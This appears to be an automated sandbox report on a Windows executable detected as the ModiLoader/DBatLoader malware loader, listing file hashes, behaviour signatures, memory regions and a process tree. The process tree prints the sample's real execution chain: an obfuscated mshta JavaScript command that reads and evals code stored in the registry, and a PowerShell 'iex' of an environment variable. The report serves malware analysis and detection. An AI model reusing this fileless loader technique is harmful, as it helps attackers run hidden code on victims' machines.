Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-05-2024 04:28

General

  • Target

    2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe

  • Size

    350KB

  • MD5

    2332a86850a89ca99287ee8cb4edab76

  • SHA1

    408825fb03d5bc3a61b7f78d6a506d88d3c7203f

  • SHA256

    ef75313f6cc105d3a1de733b60a7afb654af7daa44e7fc2debf730dcf5873973

  • SHA512

    b3c2afcb4273b8e7dc7beca948baf6841cca9017f433c0c2c3ea659bf2de44ca7e7ce84f0b5b649cb914e712a61a33b420034c8b7212692b093044ad647c1c6d

  • SSDEEP

    6144:/452i2IUhFh3iHMviCRdj8zNnOH046hJ1aZOTCt/Gc1YzcjCdPCE:/c2i2bFhyHMvxRdCiCJ8ZOWtecucjCdZ

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2332a86850a89ca99287ee8cb4edab76_JaffaCakes118.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2676
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:kJNiE8tT5W="V2hHNqo";rT84=new%20ActiveXObject("WScript.Shell");i7vU4TDv="G6Cr";neZ5X=rT84.RegRead("HKLM\\software\\Wow6432Node\\GoFK48MKkM\\cOFDWEzBZQ");g7nI0lzb="hK";eval(neZ5X);UxT5PJGW7="IEyFuz5mC";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3104
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:jkszcos
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3260

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azw3n0ov.q5v.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2676-8-0x00000000005F0000-0x00000000006B0000-memory.dmp

    Filesize

    768KB

  • memory/2676-1-0x0000000002450000-0x0000000002451000-memory.dmp

    Filesize

    4KB

  • memory/2676-31-0x0000000000400000-0x000000000045D000-memory.dmp

    Filesize

    372KB

  • memory/2676-0-0x00000000034D0000-0x0000000003BFA000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-6-0x00000000005F0000-0x00000000006B0000-memory.dmp

    Filesize

    768KB

  • memory/2676-9-0x00000000005F0000-0x00000000006B0000-memory.dmp

    Filesize

    768KB

  • memory/2676-10-0x00000000005F0000-0x00000000006B0000-memory.dmp

    Filesize

    768KB

  • memory/2676-7-0x00000000005F0000-0x00000000006B0000-memory.dmp

    Filesize

    768KB

  • memory/2676-5-0x00000000005F0000-0x00000000006B0000-memory.dmp

    Filesize

    768KB

  • memory/2676-2-0x00000000034D0000-0x0000000003BFA000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-3-0x0000000000400000-0x000000000045D000-memory.dmp

    Filesize

    372KB

  • memory/3260-12-0x0000000002C20000-0x0000000002C56000-memory.dmp

    Filesize

    216KB

  • memory/3260-14-0x0000000005560000-0x0000000005582000-memory.dmp

    Filesize

    136KB

  • memory/3260-16-0x0000000005DD0000-0x0000000005E36000-memory.dmp

    Filesize

    408KB

  • memory/3260-15-0x0000000005CF0000-0x0000000005D56000-memory.dmp

    Filesize

    408KB

  • memory/3260-26-0x0000000005E40000-0x0000000006194000-memory.dmp

    Filesize

    3.3MB

  • memory/3260-27-0x0000000006310000-0x000000000632E000-memory.dmp

    Filesize

    120KB

  • memory/3260-28-0x0000000006350000-0x000000000639C000-memory.dmp

    Filesize

    304KB

  • memory/3260-29-0x0000000007A80000-0x00000000080FA000-memory.dmp

    Filesize

    6.5MB

  • memory/3260-30-0x00000000073C0000-0x00000000073DA000-memory.dmp

    Filesize

    104KB

  • memory/3260-13-0x0000000005650000-0x0000000005C78000-memory.dmp

    Filesize

    6.2MB